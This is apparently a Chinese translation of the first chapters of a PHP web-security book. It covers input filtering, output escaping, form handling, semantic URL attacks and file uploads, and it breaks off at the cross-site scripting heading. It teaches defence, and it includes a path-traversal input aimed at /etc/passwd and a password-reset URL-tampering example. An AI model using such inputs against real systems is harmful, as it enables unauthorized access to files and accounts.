《PHP 安全基础详解》

www.528163.cn 提供

第一章 简介

PHP 已经由一个制作个人网页的工具发展成为了世界上最流行的网络编程语言。它保证了许多网络上最繁忙的站点的运行。这一转变带来了亟待关注的问题，那就是性能、可维护性、可测性、可靠性以及最重要的一点—安全性。

与语言的一些功能如条件表达式、循环结构等相比，安全性更为抽象。事实上，安全性更像是开发者的特性而不是语言的特性。任何语言都不能防止不安全的代码，尽管语言的有些特点能对有安全意识的开发人员有作用。

本书着眼于 PHP 语言，向您展示如何通过操纵 PHP 一些特殊的功能写出安全的代码。本书中的概念，适用于任何网络开发平台。网络应用程序的安全是一门年轻的和发展中的学科。本书会从理论出发，教会您一些好的习惯，使您能安枕无忧，从容应对恶意者层出不穷的新的攻击和技巧。

本章是本书的基础部分。作为学习后续章节的前提，将教给您一些原则和经验。

1.1.PHP 功能

PHP 有许多适合于 WEB 开发的功能。一些在其它语言中很难实现的普通工作在 PHP 中变得易如反掌，这有好处也有坏处。有一个功能比其它功能来更引人注目，这个功能就是 register_globals。

1.1.1. 全局变量注册

如果您还能记起早期 WEB 应用开发中使用 C 开发 CGI 程序的话，一定会对繁琐的表单处理深有体会。当 PHP 的 register_globals 配置选项打开时，复杂的原始表单处理不复存在，公用变量会自动建立。它让 PHP 编程变得容易和方便，但同时也带来了安全隐患。

事实上，register_globals 是无辜的，它并不会产生漏洞，同时还要开发者犯错才行。可是，有两个主要原因导致了您必须在开发和布署应用时关闭 register_globals：

第一，它会增加安全漏洞的数量；
第二，隐藏了数据的来源，与开发者需要随时跟踪数据的责任相违背。

本书中所有例子都假定 register_globals 已被关闭，用超级公用数组如$_GET 和 $_POST 取而代之。使用这些数组几乎与 register_globals 开启时的编程方法同样方便，而其中的些许不便是值得的，因为它提高了程序的安全性。

小提示

如果您必须要开发一个在 register_globals 开启的环境中布署的应用时，很重要的一点是您必须要初始化所有变量并且把 error_reporting 设为 E_ALL(或 E_ALL | E_STRICT)以对未初始化变量进行警告。当 register_globals 开启时，任何使用未初始化变量的行为几乎就意味着安全漏洞。

1.1.2. 错误报告

没有不会犯错的开发者，PHP 的错误报告功能将协助您确认和定位这些错误。可以 PHP 提供的这些详细描述也可能被恶意攻击者看到，这就不妙了。使大众看不到报错信息，这一点很重要。做到这一点很容易，只要关闭 display_errors，当然如果您希望得到出错信息，可以打开 log_errors 选项，并在 error_log 选项中设置出错日志文件的保存路径。

由于出错报告的级别设定可以导致有些错误无法发现，您至少需要把 error_reporting 设为 E_ALL(E_ALL | E_STRICT 是最高的设置, 提供向下兼容的建议, 如不建议使用的提示).

所有的出错报告级别可以在任意级别进行修改，所以您如果使用的是共享的主机，没有权限对 php.ini, httpd.conf, 或 .htaccess 等配置文件进行更改时，您可以在程序中运行出错报告级别配置语句：<?php

```
ini_set('error_reporting', E_ALL | E_STRICT);
ini_set('display_errors', 'Off');
ini_set('log_errors', 'On');
ini_set('error_log', '/usr/local/apache/logs/error_log');

?>
```

小提示
http://php.net/manual/ini.php 对 php.ini 的选项配置作了详尽的说明。

PHP 还允许您通过 set_error_handler( ) 函数指定您自己的出错处理函数：

```
<?php
set_error_handler('my_error_handler');
?>
```

上面程序指定了您自己的出错处理函数 my_error_handler( ); 下面是一个实

际使用的示例：<?php

```
function my_error_handler($number, $string, $file, $line, $context)
{
$error = "= == == == ==\nPHP ERROR\n= == == == ==\n";
$error .= "Number: [$number]\n";
$error .= "String: [$string]\n";
$error .= "File: [$file]\n";
$error .= "Line: [$line]\n";
$error .= "Context:\n" . print_r($context, TRUE) . "\n\n";

error_log($error, 3, '/usr/local/apache/logs/error_log');
}

?>
```

小提示

PHP 5 还允许向 set_error_handler( )传递第二个参数以限定在什么出错情况下执行出定义的出错处理函数。比如，现在建立一个处理告警级别（warning）错误的函数：<?php

```
set_error_handler('my_warning_handler', E_WARNING);
?>
```

PHP5 还提供了异常处理机制，详见 http://php.net/exceptions

1.2.原则

你可以列出一大堆开发安全应用的原则，但在本处我选取了我认为对 PHP 开发者最重要的几个原则。

这些原则有意的写得抽象和理论化。这样做的目的是帮助你从大处着眼，不拘泥于细节。你需要把它们看成是你行动的指南。

1.2.1. 深度防范

深度防范原则是安全专业人员人人皆知的原则，它说明了冗余安全措施的价值，这是被历史所证明的。

深度防范原则可以延伸到其它领域，不仅仅是局限于编程领域。使用过备份伞的跳伞队员可以证明有冗余安全措施是多么的有价值,尽管大家永远不希望主伞失效。一个冗余的安全措施可以在主安全措施失效的潜在的起到重大作用。

回到编程领域，坚持深度防范原则要求您时刻有一个备份方案。如果一个安全措施失效了，必须有另外一个提供一些保护。例如，在用户进行重要操作前进行重新用户认证就是一个很好的习惯，尽管你的用户认证逻辑里面没有已知缺陷。如果一个未认证用户通过某种方法伪装成另一个用户，提示录入密码可以潜在地避免未认证（未验证）用户进行一些关键操作。

尽管深度防范是一个合理的原则，但是过度地增加安全措施只能增加成本和降低价值。

1.2.2. 最小权限

我过去有一辆汽车有一个佣人钥匙。这个钥匙只能用来点火，所以它不能打开车门、控制台、后备箱，它只能用来启动汽车。我可以把它给泊车员（或把它留在点火器上），我确认这个钥匙不能用于其它目的。

把一个不能打开控制台或后备箱的钥匙给泊车员是有道理的，毕竟，你可能想在这些地方保存贵重物品。但我觉得没有道理的是为什么它不能开车门。当然，这是因为我的观点是在于权限的收回。我是在想为什么泊车员被取消了开车门的权限。在编程中，这是一个很不好的观点。相反地，你应该考虑什么权限是必须的，只能给予每个人完成他本职工作所必须的尽量少的权限。

一个为什么佣人钥匙不能打开车门的理由是这个钥匙可以被复制，而这个复制的钥匙在将来可能被用于偷车。这个情况听起来不太可能发生，但这个例子说明了不必要的授权会加大你的风险，即使是增加了很小权限也会如此。风险最小化是安全程序开发的主要组成部分。

你无需去考虑一项权限被滥用的所有方法。事实上，你要预测每一个潜在攻击者的动作是几乎不可能的。

1.2.3. 简单就是美

复杂滋生错误，错误能导致安全漏洞。这个简单的事实说明了为什么简单对于一个安全的应用来说是多么重要。没有必要的复杂与没有必要的风险一样糟糕。

例如，下面的代码摘自一个最近的安全漏洞通告：

```
<?php
$search = (isset($_GET['search']) ? $_GET['search'] : '');
?>
```

这个流程会混淆$search 变量受污染*的事实，特别是对于缺乏经验的开发者而言。上面语句等价于下面的程序：<?php

```
$search = '';
if (isset($_GET['search']))
{
$search = $_GET['search'];
}
?>
```

上面的两个处理流程是完全相同的。现在请注意一下下面的语句:

```
$search = $_GET['search'];
```

使用这一语句，在不影响流程的情况下，保证了$search 变量的状态维持原样，同时还可以看出它是否受污染。

* 译注：受污染变量，即在程序执行过程中，该变量的值不是由赋值语句直接指定值，而是来自其它来源，如控制台录入、数据库等。

1.2.4. 暴露最小化

PHP 应用程序需要在 PHP 与外部数据源间进行频繁通信。主要的外部数据源是客户端浏览器和数据库。如果你正确的跟踪数据，你可以确定哪些数据被暴露了。Internet 是最主要的暴露源，这是因为它是一个非常公共的网络，您必须时刻小心防止数据被暴露在 Internet 上。

数据暴露不一定就意味着安全风险。可是数据暴露必须尽量最小化。例如，一个用户进入支付系统，在向你的服务器传输他的信用卡数据时，你应该用 SSL 去保护它。如果你想要在一个确认页面上显示他的信用卡号时，由于该卡号信息是由服务器发向他的客户端的，你同样要用 SSL 去保护它。

再谈谈上一小节的例子，显示信用卡号显然增加了暴露的机率。SSL 确实可以降低风险，但是最佳的解决方案是通过只显示最后四位数，从而达到彻底杜绝风险的目的。

为了降低对敏感数据的暴露率，你必须确认什么数据是敏感的，同时跟踪它，并消除所有不必要的数据暴露。在本书中，我会展示一些技巧，用以帮助你实现对很多常见敏感数据的保护。

1.3.方法

就像上一节中的原则一样，开发安全应用时，还有很多方法可以使用。下面提到的所有方法同样是我认为比较重要的。

某些方法是抽象的，但每一个都有实例说明如何应用及其目的。

1.3.1. 平衡风险与可用性

用户操作的友好性与安全措施是一对矛盾，在提高安全性的同时，通常会降低可用性。在你为不合逻辑的使用者写代码时，必须要考虑到符合逻辑的正常使用者。要达到适当的平衡的确很难，但是你必须去做好它，没有人能替代你，因为这是你的软件。

尽量使安全措施对用户透明，使他们感受不到它的存在。如果实在不可能，就尽量采用用户比较常见和熟悉的方式来进行。例如，在用户访问受控信息或服务前让他们输入用户名和密码就是一种比较好的方式。

当你怀疑可能有非法操作时，必须意识到你可能会搞借。例如，在用户操作时如果系统对用户身份有疑问时，通常用让用户再次录入密码。这对于合法用户来说只是稍有不便，而对于攻击者来说则是铜墙铁壁。从技术上来说，这与提示用户进行重新登录基本是一样的，但是在用户感受上，则有天壤之别。

没有必要将用户踢出系统并指责他们是所谓的攻击者。当你犯错时，这些流程会极大的降低系统的可用性，而错误是难免的。

在本书中，我着重介绍透明和常用的安全措施，同时我建议大家对疑似攻击行为做出小心和明智的反应。

1.3.2. 跟踪数据

作为一个有安全意识的开发者，最重要的一件事就是随时跟踪数据。不只是要知道它是什么和它在哪里，还要知道它从哪里来，要到哪里去。有时候要做到这些是困难的，特别是当你对 WEB 的运做原理没有深入理解时。这也就是为什么尽管有些开发者在其它开发环境中很有经验，但他对 WEB 不是很有经验时，经常会犯错并制造安全漏洞。

大多数人在读取 EMAIL 时，一般不会被题为"Re: Hello"之类的垃圾邮件所欺骗，因为他们知道，这个看起来像回复的主题是能被伪造的。因此，这封邮件不一定是对前一封主题为"Hello."的邮件的回复。简而言之，人们知道不能对这个主题不能太信任。但是很少有人意识到发件人地址也能被伪造，他们错误地认为它能可靠地显示这个 EMAIL 的来源。

Web 也非常类似，我想教给大家的其中一点是如何区分可信的和不可信的数据。做到这一点常常是不容易的，盲目的猜测并不是办法。

PHP 通过超级全局数组如$_GET, $_POST, 及$_COOKIE 清楚地表示了用户数据的来源。一个严格的命名体系能保证你在程序代码的任何部分知道所有数据

的来源，这也是我一直所示范和强调的。

知道数据在哪里进入你的程序是极为重要的，同时知道数据在哪里离开你的程序也很重要。例如，当你使用 echo 指令时，你是在向客户端发送数据；当你使用 mysql_query 时，你是在向 MySQL 数据库发送数据（尽管你的目的可能是取数据）。

在我审核 PHP 代码是否有安全漏洞时，我主要检查代码中与外部系统交互的部分。这部分代码很有可能包含安全漏洞，因此，在开发与代码检查时必须要加以特别仔细的注意。

1.3.3. 过滤输入

过滤是 Web 应用安全的基础。它是你验证数据合法性的过程。通过在输入时确认对所有的数据进行过滤，你可以避免被污染（未过滤）数据在你的程序中被误信及误用。大多数流行的 PHP 应用的漏洞最终都是因为没有对输入进行恰当过滤造成的。

我所指的过滤输入是指三个不同的步骤：

- 识别输入
- 过滤输入
- 区分已过滤及被污染数据

把识别输入做为第一步是因为如果你不知道它是什么，你也就不能正确地过滤它。输入是指所有源自外部的数据。例如，所有发自客户端的是输入，但客户端并不是唯一的外部数据源，其它如数据库和 RSS 推送等也是外部数据源。

由用户输入的数据非常容易识别，PHP 用两个超级公用数组$_GET 和 $_POST 来存放用户输入数据。其它的输入要难识别得多，例如，$_SERVER 数组中的很多元素是由客户端所操纵的。常常很难确认$_SERVER 数组中的哪些元素组成了输入，所以，最好的方法是把整个数组看成输入。

在某些情况下，你把什么作为输入取决于你的观点。例如，session 数据被保存在服务器上，你可能不会认为 session 数据是一个外部数据源。如果你持这种观点的话，可以把 session 数据的保存位置是在你的软件的内部。意识到 session 的保存位置的安全与软件的安全是联系在一起的事实是非常明智的。同样的观点可以推及到数据库，你也可以把它看成你软件的一部分。

一般来说，把 session 保存位置与数据库看成是输入是更为安全的，同时这也是我在所有重要的 PHP 应用开发中所推荐的方法。

一旦识别了输入，你就可以过滤它了。过滤是一个有点正式的术语，它在平时表述中有很多同义词，如验证、清洁及净化。尽管这些大家平时所用的术语稍有不同，但它们都是指的同一个处理：防止非法数据进入你的应用。

有很多种方法过滤数据，其中有一些安全性较高。最好的方法是把过滤看成是一个检查的过程。请不要试图好心地去纠正非法数据，要让你的用户按你的规则去做，历史证明了试图纠正非法数据往往会导致安全漏洞。例如，考虑一下下面的试图防止目录跨越的方法（访问上层目录）。<?php

$filename = str_replace('..', '.', $_POST['filename']);

?>

你能想到$_POST['filename']如何取值以使$filename 成为 Linux 系统中用户口令文件的路径../../etc/passwd 吗？

答案很简单：
.../.../etc/passwd

这个特定的错误可以通过反复替换直至找不到为止：<?php
$filename = $_POST['filename'];
while (strpos($_POST['filename'], '..') !== FALSE)
{
$filename = str_replace('..', '.', $filename);
}
?>

当然，函数 basename( )可以替代上面的所有逻辑，同时也能更安全地达到目的。不过重要点是在于任何试图纠正非法数据的举动都可能导致潜在错误并允许非法数据通过。只做检查是一个更安全的选择。

译注：这一点深有体会，在实际项目曾经遇到过这样一件事，是对一个用户注册和登录系统进行更改，客户希望用户名前后有空格就不能登录，结果修改时对用户登录程序进行了更改，用 trim（）函数把输入的用户名前后的空格去掉了（典型的好心办坏事），但是在注册时居然还是允许前后有空格！结果可想而知。

除了把过滤做为一个检查过程之外，你还可以在可能时用白名单方法。它是指你需要假定你正在检查的数据是非法的，除非你能证明它是合法的。换而言之，你宁可在小心上犯错。使用这个方法，一个错误只会导致你把合法的数据当成是非法的。尽管不想犯任何错误，但这样总比把非法数据当成合法数据要安全得多。通过减轻犯错引起的损失，你可以提高你的应用的安全性。尽管这个想法在理论上是很自然的，但历史证明，这是一个很有价值的方法。

如果你能正确可靠地识别和过滤输入，你的工作就基本完成了。最后一步是使用一个命名约定或其它可以帮助你正确和可靠地区分已过滤和被污染数据的方法。我推荐一个比较简单的命名约定，因为它可以同时用在面向过程和面向对象的编程中。我用的命名约定是把所有经过滤的数据放入一个叫$clean 的数据中。你需要用两个重要的步骤来防止被污染数据的注入：

l 经常初始化$clean 为一个空数组。
l 加入检查及阻止来自外部数据源的变量命名为 clean，

实际上，只有初始化是至关紧要的，但是养成这样一个习惯也是很好的：把所有命名为 clean 的变量认为是你的已过滤数据数组。这一步骤合理地保证了$clean 中只包括你有意保存进去的数据，你所要负责的只是不在$clean 存在被污染数据。

为了巩固这些概念，考虑下面的表单，它允许用户选择三种颜色中的一种；

```
<form action="process.php" method="POST">
Please select a color:
<select name="color">
<option value="red">red</option>
<option value="green">green</option>
<option value="blue">blue</option>
</select>
<input type="submit" />
</form>
```

在处理这个表单的编程逻辑中，非常容易犯的错误是认为只能提交三个选择中的一个。在第二章中你将学到，客户端能提交任何数据作为$_POST['color']的值。为了正确地过滤数据，你需要用一个 switch 语句来进行：<?php

```
$clean = array( );
switch($_POST['color'])
{
case 'red':
case 'green':
case 'blue':
$clean['color'] = $_POST['color'];
break;
}

?>
```

本例中首先初始化了$clean 为空数组以防止包含被污染的数据。一旦证明$_POST['color']是 red, green, 或 blue 中的一个时，就会保存到$clean['color']变量

中。因此，可以确信$clean['color']变量是合法的，从而在代码的其它部分使用它。当然，你还可以在 switch 结构中加入一个 default 分支以处理非法数据的情况。一种可能是再次显示表单并提示错误。特别小心不要试图为了友好而输出被污染的数据。

上面的方法对于过滤有一组已知的合法值的数据很有效，但是对于过滤有一组已知合法字符组成的数据时就没有什么帮助。例如，你可能需要一个用户名只能由字母及数字组成：<?php

```
$clean = array( );

if (ctype_alnum($_POST['username']))
{
$clean['username'] = $_POST['username'];
}

?>
```

尽管在这种情况下可以用正则表达式，但使用 PHP 内置函数是更完美的。这些函数包含错误的可能性要比你自己写的代码出错的可能性要低得多，而且在过滤逻辑中的一个错误几乎就意味着一个安全漏洞。

1.3.4. 输出转义

另外一个 Web 应用安全的基础是对输出进行转义或对特殊字符进行编码，以保证原意不变。例如，O'Reilly 在传送给 MySQL 数据库前需要转义成 O\'Reilly。单引号前的反斜杠代表单引号是数据本身的一部分，而不是并不是它的本义。

我所指的输出转义具体分为三步：

- 识别输出
- 输出转义
- 区分已转义与未转义数据

只对已过滤数据进行转义是很有必要的。尽管转义能防止很多常见安全漏洞，但它不能替代输入过滤。被污染数据必须首先过滤然后转义。

在对输出进行转义时，你必须先识别输出。通常，这要比识别输入简单得多，因为它依赖于你所进行的动作。例如，识别到客户端的输出时，你可以在代码中查找下列语句：

echo

print
printf
<?=

作为一项应用的开发者，你必须知道每一个向外部系统输出的地方。它们构成了输出。

象过滤一样，转义过程在依情形的不同而不同。过滤对于不同类型的数据处理方法也是不同的，转义也是根据你传输信息到不同的系统而采用不同的方法。

对于一些常见的输出目标（包括客户端、数据库和 URL）的转义，PHP 中有内置函数可用。如果你要写一个自己算法，做到万无一失很重要。需要找到在外系统中特殊字符的可靠和完整的列表，以及它们的表示方式，这样数据是被保留下来而不是转译了。

最常见的输出目标是客户机，使用 htmlentities( )在数据发出前进行转义是最好的方法。与其它字符串函数一样，它输入是一个字符串，对其进行加工后进行输出。但是使用 htmlentities( )函数的最佳方式是指定它的两个可选参数：引号的转义方式（第二参数）及字符集（第三参数）。引号的转义方式应该指定为 ENT_QUOTES，它的目的是同时转义单引号和双引号，这样做是最彻底的，字符集参数必须与该页面所使用的字符集相必配。

为了区分数据是否已转义，我还是建议定义一个命名机制。对于输出到客户机的转义数据，我使用$html 数组进行存储，该数据首先初始化成一个空数组，对所有已过滤和已转义数据进行保存。<?php

$html = array( );
$html['username'] = htmlentities($clean['username'], ENT_QUOTES, 'UTF-8');
echo " Welcome back, {$html['username']}. ";

?>

小提示
htmlspecialchars( )函数与 htmlentities( )函数基本相同，它们的参数定义完全相同，只不过是 htmlentities( )的转义更为彻底。

通过$html['username']把 username 输出到客户端，你就可以确保其中的特殊字符不会被浏览器所错误解释。如果 username 只包含字母和数字的话，实际上转义是没有必要的，但是这体现了深度防范的原则。转义任何的输出是一个非常好的习惯，它可以戏剧性地提高你的软件的安全性。

另外一个常见的输出目标是数据库。如果可能的话，你需要对 SQL 语句中的数据使用 PHP 内建函数进行转义。对于 MySQL 用户，最好的转义函数是

mysql_real_escape_string( )。如果你使用的数据库没有 PHP 内建转义函数可用的话，addslashes( )是最后的选择。

下面的例子说明了对于 MySQL 数据库的正确的转义技巧：<?php

```
$mysql = array( );
$mysql['username'] = mysql_real_escape_string($clean['username']);
$sql = "SELECT *
FROM profile
WHERE username = '{$mysql['username']}'";
$result = mysql_query($sql);

?>
```

第二章 表单及 URL

本章主要讨论表单处理，同时还有在处理来自表单和 URL 数据时需要加以注意的最常见的攻击类型。你可以学到例如跨站脚本攻击（XSS）及跨站请求伪造（CSRF）等攻击方式，同时还能学到如何手工制作欺骗表单及 HTTP 请求。

通过本章的学习，你不仅可以看到这些攻击方法的实例，而且可以学到防范它们的方法。

小提示

跨站脚本攻击漏洞的产生主要是由于你误用了被污染的数据。虽说大多数应用的主要输入源是用户，但任何一个远程实体都可以向你的软件输入恶意数据。本章中所描述的多数方法直接适于用于处理任何一个远程实体的输入，而不仅仅是用户。关于输入的过滤详见第一章。

2.1. 表单与数据

在典型的 PHP 应用开发中，大多数的逻辑涉及数据处理任务，例如确认用户是否成功登录，在购物车中加入商品及处理信用卡交易。

数据可能有无数的来源，做为一个有安全意识的开发者，你需要简单可靠地区分两类数据：

- 已过滤数据
- 被污染数据

所有你自己设定的数据可信数据，可以认为是已过滤数据。一个你自己设定的数据是任何的硬编码数据，例如下面的 email 地址数据：

```
$email = 'chris@example.org';
```

上面的 Email 地址 chris@example.org 并不来自任何远程数据源。显而易见它是可信的。任何来自远程数据源的数据都是输入，而所有的输入数据都是被污染的，必须在要在使用前对其进行过滤。

被污染数据是指所有不能保证合法的数据，例如用户提交的表单，从邮件服务器接收的邮件，及其它 web 应用中发送过来的 xml 文档。在前一个例子中，$email 是一个包含有已过滤数据的变量。数据是关键，而不是变量。变量只是数据的容器，它往往随着程序的执行而为被污染数据所覆盖：

```
$email = $_POST['email'];
```

当然，这就是$email 叫做变量的原因，如果你不希望数据进行变化，可以使用常量来代替：

```
define('EMAIL', 'chris@example.org');
```

如果用上面的语句进行定义，EMAIL 在整个脚本运行中是一个值为 chris@example.org 的不变的常量，甚至在你把试图把它重新赋值时也不会改变（通常是不小心）。例如，下面的代码输出为 chris@example.org (试图重定义一个常量会引起一个级别为 Notice 的报错信息)。

```
<?php

define('EMAIL', 'chris@example.org');
define('EMAIL', 'rasmus@example.org');
echo EMAIL;

?>
```

小提示

欲更多了解常量, 请访问 http://php.net/constants.

正如第一章中所讨论过的，register_globals 可使确定一个变量如$email 的来源变得十分困难。所有来自外部数据源的数据在被证明合法前都应该被认为被污染的。

尽管一个用户能用多种方式发送数据，大多数应用还是依据表单的提交结果进行最重要的操作。另外一个攻击者只要通过操纵提交数据（你的应用进行操作

的依据）即可危害，而表单向他们方便地开放了你的应用的设计方案及你需要使用的数据。这也是表单处理是所有 Web 应用安全问题中的首先要关心的问题的原因。

一个用户可以通过三种方式您的应用传输数据：

- 通过 URL(如 GET 数据方式)
- 通过一个请求的内容（如 POST 数据方式）
- 通过 HTTP 头部信息（如 Cookie）

由于 HTTP 头部信息并不与表单处理直接相关，在本章中不作讨论。通常，对 GET 与 POST 数据的怀疑可以推及到所有输入，包括 HTTP 头部信息。

表单通过 GET 或 POST 请求方式传送数据。当你建立了一个 HTML 表单，你需要在 form 标签的 method 属性中指定请求方式：

在前例中，请求方式被指定为 GET，浏览器将通过 URL 的请求串部分传输数据，例如，考虑下面的表单：

```
<form action="http://example.org/login.php" method="GET">
<p>Username: <input type="text" name="username" /></p>
<p>Password: <input type="password" name="password" /></p>
<p><input type="submit" /></p>
</form>
```

如果我输入了用户名 chris 和密码 mypass，在表单提交后，我会到达 URL 为 http://example.org/login.php?username=chris&password=mypass 的页面。该 URL 最简单的合法 HTTP/1.1 请求信息如下：

```
GET /login.php?username=chris&password=mypass HTTP/1.1
Host: example.org
```

并不是必须要使用 HTML 表单来请求这个 URL，实际上通过 HTML 表单的 GET 请求方式发送数据与用户直接点击链接并没有什么不同。

记住如果你在 GET 方式提交的表单中的 action 中试图使用请求串，它会被表单中的数据所取代。

而且，如果你指定了一个非法的请求方式，或者请求方式属性未写，浏览器则会默认以 GET 方式提交数据。

为说明 POST 请求方式，只对上例进行简单的更改，考虑把 GET 请求方式更改为 POST 的情况：

```
<form action="http://example.org/login.php" method="POST">
<p>Username: <input type="text" name="username" /></p>
<p>Password: <input type="password" name="password" /></p>
<p><input type="submit" /></p>
</form>
```

如果我再次指定用户名 chris 和密码 mypass，在提交表单后，我会来到 http://example.org/login.php 页面。表单数据在请求的内部而不是一个 URL 的请求串。该方式最简单的合法 HTTP/1.1 请求信息如下

```
POST /login.php HTTP/1.1
Host: example.org
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

username=chris&password=mypass
```

现在你已看到用户向你的应用提供数据的主要方式。在下面的小节中，我们将会讨论攻击者是如何利用你的表单和 URL 作为进入你的应用的缺口的。

2.2. 语义 URL 攻击

好奇心是很多攻击者的主要动机，语义 URL 攻击就是一个很好的例子。此类攻击主要包括对 URL 进行编辑以期发现一些有趣的事情。例如，如果用户 chris 点击了你的软件中的一个链接并到达了页面 http://example.org/private.php?user=chris, 很自然地他可能会试图改变 user 的值，看看会发生什么。例如，他可能访问 http://example.org/private.php?user=rasmus 来看一下他是否能看到其他人的信息。虽然对 GET 数据的操纵只是比对 POST 数据稍为方便，但它的暴露性决定了它更为频繁的受攻击，特别是对于攻击的新手而言。

大多数的漏洞是由于疏漏而产生的，而不是特别复杂的原因引起的。虽然很多有经验的程序员能轻易地意识到上面所述的对 URL 的信任所带来的危险，但是常常要到别人指出才恍然大悟。

为了更好地演示语义 URL 攻击及漏洞是如何被疏忽的，以一个 Webmail 系统为例，该系统主要功能是用户登录察看他们自己的邮件。任何基于用户登录的系统都需要一个密码找回机制。通常的方法是询问一个攻击者不可能知道的问题（如你的计算机的品牌等，但如果能让用户自己指定问题和答案更佳），如果问题回答正确，则把新的密码发送到注册时指定的邮件地址。

对于一个 Webmail 系统，可能不会在注册时指定邮件地址，因此正确回答问

题的用户会被提示提供一个邮件地址（在向该邮件地址发送新密码的同时，也可以收集备用邮件地址信息）。下面的表单即用于询问一个新的邮件地址，同时他的帐户名称存在表单的一个隐藏字段中：

```
<form action="reset.php" method="GET">
<input type="hidden" name="user" value="chris" />
<p>Please specify the email address where you want your new password sent:</p>
<input type="text" name="email" /><br />
<input type="submit" value="Send Password" />
</form>
```

可以看出，接收脚本 reset.php 会得到所有信息，包括重置哪个帐号的密码、并给出将新密码发送到哪一个邮件地址。

如果一个用户能看到上面的表单（在回答正确问题后），你有理由认为他是 chris 帐号的合法拥有者。如果他提供了 chris@example.org 作为备用邮件地址，在提交后他将进入下面的 URL：

http://example.org/reset.php?user=chris&email=chris%40example.org

该 URL 出现在浏览器栏中，所以任何一位进行到这一步的用户都能够方便地看出其中的 user 和 mail 变量的作用。当意思到这一点后，这位用户就想到 php@example.org 是一个非常酷的地址，于是他就会访问下面链接进行尝试：

http://example.org/reset.php?user=php&email=chris%40example.org

如果 reset.php 信任了用户提供的这些信息，这就是一个语义 URL 攻击漏洞。在此情况下，系统将会为 php 帐号产生一个新密码并发送至 chris@example.org，这样 chris 成功地窃取了 php 帐号。

如果使用 session 跟踪，可以很方便地避免上述情况的发生：

```
<?php

session_start();

$clean = array();
$email_pattern = '/^[^@\s<&>]+@([-a-z0-9]+\.)+[a-z]{2,}$/i';

if (preg_match($email_pattern, $_POST['email']))
{
$clean['email'] = $_POST['email'];
$user = $_SESSION['user'];
```

```
$new_password = md5(uniqid(rand(), TRUE));

if ($_SESSION['verified'])
{
/* Update Password */

mail($clean['email'], 'Your New Password', $new_password);
}
}

?>
```

尽管上例省略了一些细节（如更详细的 email 信息或一个合理的密码），但它示范了对用户提供的帐户不加以信任，同时更重要的是使用 session 变量为保存用户是否正确回答了问题($_SESSION['verified'])，以及正确回答问题的用户($_SESSION['user'])。正是这种不信任的做法是防止你的应用产生漏洞的关键。

这个实例并不是完全虚构的。它是从 2003 年 5 月发现的 Microsoft Passport 的漏洞中得到的灵感。请访问 http://slashdot.org/article.pl?sid=03/05/08/122208 看具体实例、讨论及其它信息。

2.3. 文件上传攻击

有时在除了标准的表单数据外，你还需要让用户进行文件上传。由于文件在表单中传送时与其它的表单数据不同，你必须指定一个特别的编码方式 multipart/form-data：

```
<form action="upload.php" method="POST" enctype="multipart/form-data">
```

一个同时有普通表单数据和文件的表单是一个特殊的格式，而指定编码方式可以使浏览器能按该可格式的要求去处理。

允许用户进行选择文件并上传的表单元素是很简单的：

```
<input type="file" name="attachment" />
```

该元素在各种浏览器中的外观表现形式各有不同。传统上，界面上包括一个标准的文本框及一个浏览按钮，以使用户能直接手工录入文件的路径或通过浏览选择。在 Safari 浏览器中只有浏览按钮。幸运的是，它们的作用与行为是相同的。

为了更好地演示文件上传机制，下面是一个允许用户上传附件的例子：

```
<form action="upload.php" method="POST" enctype="multipart/form-data">
<p>Please choose a file to upload:
<input type="hidden" name="MAX_FILE_SIZE" value="1024" />
<input type="file" name="attachment" /><br />
<input type="submit" value="Upload Attachment" /></p>
</form>
```

隐藏的表单变量 MAX_FILE_SIZE 告诉了浏览器最大允许上传的文件大小。与很多客户端限制相同，这一限制很容易被攻击者绕开，但它可以为合法用户提供向导。在服务器上进行该限制才是可靠的。

PHP 的配置变量中，upload_max_filesize 控制最大允许上传的文件大小。同时 post_max_size（POST 表单的最大提交数据的大小）也能潜在地进行控制，因为文件是通过表单数据进行上传的。

接收程序 upload.php 显示了超级全局数组$_FILES 的内容：

```
<?php

header('Content-Type: text/plain');
print_r($_FILES);

?>
```

为了理解上传的过程，我们使用一个名为 author.txt 的文件进行测试，下面是它的内容：

```
Chris Shiflett
http://shiflett.org/
```

当你上传该文件到 upload.php 程序时，你可以在浏览器中看到类似下面的输出：

```
Array
(
[attachment] => Array
(
[name] => author.txt
[type] => text/plain
[tmp_name] => /tmp/phpShfltt
[error] => 0
[size] => 36
)
```

```
)
```

虽然从上面可以看出 PHP 实际在超级全局数组$_FILES 中提供的内容，但是它无法给出表单数据的原始信息。作为一个关注安全的开发者，需要识别输入以知道浏览器实际发送了什么，看一下下面的 HTTP 请求信息是很有必要的：

```
POST /upload.php HTTP/1.1
Host: example.org
Content-Type: multipart/form-data; boundary=----------12345
Content-Length: 245

----------12345
Content-Disposition: form-data; name="attachment"; filename="author.txt"
Content-Type: text/plain

Chris Shiflett
http://shiflett.org/

----------12345
Content-Disposition: form-data; name="MAX_FILE_SIZE"

1024
----------12345--
```

虽然你没有必要理解请求的格式，但是你要能识别出文件及相关的元数据。用户只提供了名称与类型，因此 tmp_name，error 及 size 都是 PHP 所提供的。

由于 PHP 在文件系统的临时文件区保存上传的文件（本例中是/tmp/phpShfltt），所以通常进行的操作是把它移到其它地方进行保存及读取到内存。如果你不对 tmp_name 作检查以确保它是一个上传的文件（而不是/etc/passwd 之类的东西），存在一个理论上的风险。之所以叫理论上的风险，是因为没有一种已知的攻击手段允许攻击者去修改 tmp_name 的值。但是，没有攻击手段并不意味着你不需要做一些简单的安全措施。新的攻击手段每天在出现，而简单的一个步骤能保护你的系统。

PHP 提供了两个方便的函数以减轻这些理论上的风险：is_uploaded_file( ) and move_uploaded_file( )。如果你需要确保 tmp_name 中的文件是一个上传的文件，你可以用 is_uploaded_file( )：

```
<?php
$filename = $_FILES['attachment']['tmp_name'];
if (is_uploaded_file($filename))
{
```

```
/* $_FILES['attachment']['tmp_name'] is an uploaded file. */
}
?>
```

如果你希望只把上传的文件移到一个固定位置，你可以使用 move_uploaded_file( )：

```
<?php
$old_filename = $_FILES['attachment']['tmp_name'];
$new_filename = '/path/to/attachment.txt';
if (move_uploaded_file($old_filename, $new_filename))
{
/* $old_filename is an uploaded file, and the move was successful. */
}
?>
```

最后你可以用 filesize( ) 来校验文件的大小：

```
<?php
$filename = $_FILES['attachment']['tmp_name'];
if (is_uploaded_file($filename))
{
$size = filesize($filename);
}
?>
```

这些安全措施的目的是加上一层额外的安全保护层。最佳的方法是永远尽可能少地去信任。

2.4. 跨站脚本攻击

